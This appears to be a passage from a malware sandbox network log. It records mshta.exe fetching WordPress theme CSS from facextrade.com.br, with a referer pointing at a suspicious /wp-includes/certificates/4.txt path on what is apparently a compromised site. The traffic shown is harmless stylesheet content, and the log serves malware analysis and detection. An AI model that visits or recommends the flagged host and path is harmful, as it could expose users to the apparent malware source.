Aug 16, 2022 11:05:56.240916014 CEST	1728	IN	Data Raw: 61 6c 65 28 31 29 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 68 6f 76 65 72 2d 68 62 6c 75 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 3a 68 6f 76 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 6d 67 20 7b 0a 20 20 Data Ascii: ale(1);}.lgx-logo-slider-wp .hover-hblur .lgx-logo-item:hover .lgx-logo-img { -webkit-filter: blur(2px); -moz-filter: blur(2px); -o-filter: blur(2px); -ms-filter: blur(2px); filter: blur(2px);}/*# sourceMappingURL=logo-slider-wp-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49778	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:56.471900940 CEST	1772	OUT	GET /wp-content/themes/theme51253/main-style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:56.700023890 CEST	1774	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:02:53 GMT Server: Apache ETag: "a53765-1130b-5cd2be5c3c8aa" Last-Modified: Thu, 30 Sep 2021 00:55:05 GMT Content-Length: 70411 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20382207 20835820 Age: 183 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 2e 2e 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 73 74 79 6c 65 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 31 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 33 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 34 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 37 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 39 30 30 29 3b 0a 2e 77 72 61 70 20 7b 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 20 7d 0a 68 31 2c 20 68 32 2c 20 68 33 2c 20 68 34 2c 20 68 35 2c 20 68 36 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 20 7d 0a 68 32 20 7b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 31 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 3b 0a 7d 0a 68 32 20 73 74 72 6f 6e 67 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 68 33 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 61 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 61 3a 68 6f 76 65 72 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 20 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 09 74 6f 70 3a 30 3b 0a 09 70 61 64 64 69 6e 67 3a 32 33 70 78 20 30 20 32 30 70 78 3b 0a 09 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 2e 68 65 61 64 65 72 20 7b 0a 09 09 77 69 64 74 68 3a 61 75 74 6f 3b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 2e 68 65 61 64 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 27 27 3b 0a 09 70 6f 73 69 74 69 6f 6e Data Ascii: @import url("../CherryFramework/style.css");@import url(//fonts.googleapis.com/css?family=Lato:100);@import url(//fonts.googleapis.com/css?family=Lato:300);@import url(//fonts.googleapis.com/css?family=Lato:400);@import url(//fonts.googleapis.com/css?family=Lato:700);@import url(//fonts.googleapis.com/css?family=Lato:900);.wrap { overflow:hidden; }h1, h2, h3, h4, h5, h6 { margin-top:0; }h2 {font-weight:100 !important;text-shadow:0 0 0 rgba(0,0,0,0);}h2 strong { font-weight:900 !important; }h3 { font-weight:900 !important; }a {-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}a:hover { text-decoration:none; }.header {width:100%;position:absolute;top:0;padding:23px 0 20px;border:none;background:#fff;}@media (max-width: 767px) {.header {width:auto;padding-left:20px;padding-right:20px;position:relative !important;}}.header:after {content:'';position
Aug 16, 2022 11:05:56.700040102 CEST	1776	IN	Data Raw: 3a 61 62 73 6f 6c 75 74 65 3b 0a 09 62 6f 74 74 6f 6d 3a 2d 31 33 70 78 3b 0a 09 6c 65 66 74 3a 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 31 33 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 Data Ascii: :absolute;bottom:-13px;left:0;width:100%;height:13px;background-repeat:repeat-x;background-image:url(images/header-bottom.png);}@media (max-width: 767px) {.header.isStuck { top:0 !important; }}.header.isStuck .logo a img {w
Aug 16, 2022 11:05:56.700056076 CEST	1777	IN	Data Raw: 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e Data Ascii: l 0.5s ease;}.header nav.nav__primary .sf-menu >li {background:none;position:relative;float:left;display:inline-block;margin-right:30px;}.header nav.nav__primary .sf-menu >li >a {text-transform:uppercase;font-weight:700;bor
Aug 16, 2022 11:05:56.700073004 CEST	1778	IN	Data Raw: 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 31 62 65 65 38 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 2e 73 75 62 2d 6d 65 6e 75 20 Data Ascii: olor:#fff;background:#21bee8;}.header nav.nav__primary .sf-menu >li .sub-menu li.menu-item-has-children > a:before {width:8px;height:40px;position:absolute;top:0;right:-8px;display:block;background:url("images/extra1.png") ce
Aug 16, 2022 11:05:56.700089931 CEST	1780	IN	Data Raw: 2d 72 69 67 68 74 3a 36 35 70 78 3b 0a 09 7d 0a 7d 0a 2e 62 74 6e 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 33 33 33 33 33 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 Data Ascii: -right:65px;}}.btn:hover {color:#fff;background:#333333;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.btn:active {color:#fff;background:none;}.btn:
Aug 16, 2022 11:05:56.700104952 CEST	1781	IN	Data Raw: 70 61 64 64 69 6e 67 3a 31 36 70 78 20 35 35 70 78 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 66 33 39 63 31 32 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b Data Ascii: padding:16px 55px;text-shadow:none;border:1px solid #f39c12;box-shadow:none;text-shadow:none !important;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.rev
Aug 16, 2022 11:05:56.700120926 CEST	1782	IN	Data Raw: 3a 6e 6f 6e 65 3b 0a 09 70 61 64 64 69 6e 67 3a 31 36 70 78 20 38 35 70 78 3b 0a 7d 0a 2e 6d 6f 72 65 62 74 6e 36 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 32 31 62 Data Ascii: :none;padding:16px 85px;}.morebtn6:hover {color:#fff;border:1px solid #21bee8;background:#21bee8;}.cherry_media_parallax_1 {opacity:0;filter:alpha(opacity=0);}.cherry_media_parallax_1 .parallax-content { padding:365px 0 250px
Aug 16, 2022 11:05:56.700136900 CEST	1784	IN	Data Raw: 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 Data Ascii: bkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.cherry_media_parallax_1 .parallax_inner:before { display:none !important; }.cherry_fixed_parallax1 { overflow:hidden; }
Aug 16, 2022 11:05:56.700154066 CEST	1785	IN	Data Raw: 5f 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 34 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 68 33 20 7b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 0a 09 63 6f Data Ascii: _fixed_parallax4 .parallax-content h3 {margin-bottom:15px;text-align:left;color:#fff;}.cherry_fixed_parallax4 .parallax-content p { text-align:left; }.cherry_fixed_parallax4 .parallax-content .icon_type1 {margin:0 30px 38px 0;back
Aug 16, 2022 11:05:56.700170994 CEST	1787	IN	Data Raw: 69 6e 2d 62 6f 74 74 6f 6d 3a 35 33 70 78 3b 0a 09 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 2e 63 68 65 72 72 79 5f 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 37 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 2e 6d 6f 72 65 62 Data Ascii: in-bottom:53px;color:inherit;}.cherry_fixed_parallax7 .parallax-content .morebtn6 {margin-top:50px;padding-left:90px;padding-right:90px;}.cherry_fixed_parallax8 .parallax-content {text-align:center;padding:60px 0 70px 0;}.che
Aug 16, 2022 11:05:56.927526951 CEST	1798	IN	Data Raw: 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 39 70 78 3b 20 7d 0a 2e 65 78 74 72 61 5f 77 72 61 70 33 20 75 6c 20 6c 69 20 61 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 0a 09 63 Data Ascii: margin-bottom:9px; }.extra_wrap3 ul li a {font-size:14px;line-height:20px;color:#2ecc71;text-transform:uppercase;}.extra_wrap3 ul li a:hover { color:#fff; }.extra_wrap4 h3 { margin-bottom:30px; }.extra_wrap4 ul {margin:0;list-
Aug 16, 2022 11:05:57.161308050 CEST	1858	OUT	GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:57.391446114 CEST	1874	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:57 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:26:49 GMT ETag: "a514fe-3b24-58592cb795840" Accept-Ranges: bytes Content-Length: 15140 Connection: close Content-Type: text/css Data Raw: 2e 6d 70 2d 72 6f 77 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 32 30 70 78 3b 2a 7a 6f 6f 6d 3a 31 7d 2e 6d 70 2d 72 6f 77 3a 62 65 66 6f 72 65 2c 2e 6d 70 2d 72 6f 77 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 5b 63 6c 61 73 73 2a 3d 22 6d 70 2d 73 70 61 6e 22 5d 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 30 70 78 7d 2e 6d 70 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 39 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 32 7b 77 69 64 74 68 3a 39 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 31 7b 77 69 64 74 68 3a 38 36 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 30 7b 77 69 64 74 68 3a 37 38 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 39 7b 77 69 64 74 68 3a 37 30 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 38 7b 77 69 64 74 68 3a 36 32 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 37 7b 77 69 64 74 68 3a 35 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 36 7b 77 69 64 74 68 3a 34 36 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 35 7b 77 69 64 74 68 3a 33 38 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 34 7b 77 69 64 74 68 3a 33 30 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 33 7b 77 69 64 74 68 3a 32 32 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 32 7b 77 69 64 74 68 3a 31 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 7b 77 69 64 74 68 3a 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 30 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 32 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 34 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 32 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 34 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 70 78 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 7b 77 69 64 74 68 3a 31 30 30 25 3b 2a 7a 6f 6f 6d 3a 31 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 62 65 66 6f 72 65 2c 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 5b 63 6c 61 73 73 2a 3d 22 6d 70 2d 73 70 61 6e Data Ascii: .mp-row{margin-left:-20px;zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-span11{width:860px}.mp-span10{width:780px}.mp-span9{width:700px}.mp-span8{width:620px}.mp-span7{width:540px}.mp-span6{width:460px}.mp-span5{width:380px}.mp-span4{width:300px}.mp-span3{width:220px}.mp-span2{width:140px}.mp-span1{width:60px}.mp-offset12{margin-left:980px}.mp-offset11{margin-left:900px}.mp-offset10{margin-left:820px}.mp-offset9{margin-left:740px}.mp-offset8{margin-left:660px}.mp-offset7{margin-left:580px}.mp-offset6{margin-left:500px}.mp-offset5{margin-left:420px}.mp-offset4{margin-left:340px}.mp-offset3{margin-left:260px}.mp-offset2{margin-left:180px}.mp-offset1{margin-left:100px}.mp-row-fluid{width:100%;zoom:1;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mp-row-fluid:before,.mp-row-fluid:after{display:table;content:"";line-height:0}.mp-row-fluid:after{clear:both}.mp-row-fluid [class="mp-span

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49779	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:56.603425026 CEST	1773	OUT	GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:56.838255882 CEST	1788	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:56 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT ETag: "a53043-2458-58592d3483f00" Accept-Ranges: bytes Content-Length: 9304 Connection: close Content-Type: text/css Data Raw: 2f 2a 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 43 53 53 20 2a 2f 0a 2e 6d 66 70 2d 62 67 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 32 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 62 30 62 30 62 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 38 3b 0a 20 20 66 69 6c 74 65 72 3a 20 61 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 38 30 29 3b 20 7d 0a 0a 2e 6d 66 70 2d 77 72 61 70 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 33 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 20 38 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 27 27 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6c 69 67 6e 2d 74 6f 70 20 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 35 3b 20 7d 0a 0a 2e 6d 66 70 2d 69 6e 6c 69 6e 65 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 2c 0a 2e 6d 66 70 2d 61 6a 61 78 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 63 75 72 73 6f 72 3a 20 61 75 74 6f 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6a 61 78 2d 63 75 72 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 72 6f 67 72 65 73 73 3b 20 7d 0a 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 2c 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 20 Data Ascii: /* Magnific Popup CSS */.mfp-bg { top: 0; left: 0; width: 100%; height: 100%; z-index: 1042; overflow: hidden; position: fixed; background: #0b0b0b; opacity: 0.8; filter: alpha(opacity=80); }.mfp-wrap { top: 0; left: 0; width: 100%; height: 100%; z-index: 1043; position: fixed; outline: none !important; -webkit-backface-visibility: hidden; }.mfp-container { text-align: center; position: absolute; width: 100%; height: 100%; left: 0; top: 0; padding: 0 8px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; }.mfp-container:before { content: ''; display: inline-block; height: 100%; vertical-align: middle; }.mfp-align-top .mfp-container:before { display: none; }.mfp-content { position: relative; display: inline-block; vertical-align: middle; margin: 0 auto; text-align: left; z-index: 1045; }.mfp-inline-holder .mfp-content,.mfp-ajax-holder .mfp-content { width: 100%; cursor: auto; }.mfp-ajax-cur { cursor: progress; }.mfp-zoom-out-cur,.mfp-zoom-out-cur
Aug 16, 2022 11:05:56.838452101 CEST	1789	IN	Data Raw: 2e 6d 66 70 2d 69 6d 61 67 65 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6c 6f 73 65 20 7b 0a 20 20 2f 2a 63 75 72 73 6f 72 3a 20 2d 6d 6f 7a 2d 7a 6f 6f 6d 2d 6f 75 74 3b 0a 20 20 63 75 72 73 6f 72 3a 20 2d 77 65 62 6b 69 74 2d 7a 6f 6f 6d 2d 6f Data Ascii: .mfp-image-holder .mfp-close { /cursor: -moz-zoom-out; cursor: -webkit-zoom-out; cursor: zoom-out;/ }.mfp-zoom { cursor: pointer; cursor: -webkit-zoom-in; cursor: -moz-zoom-in; cursor: zoom-in; }.mfp-auto-cursor .mfp-conten
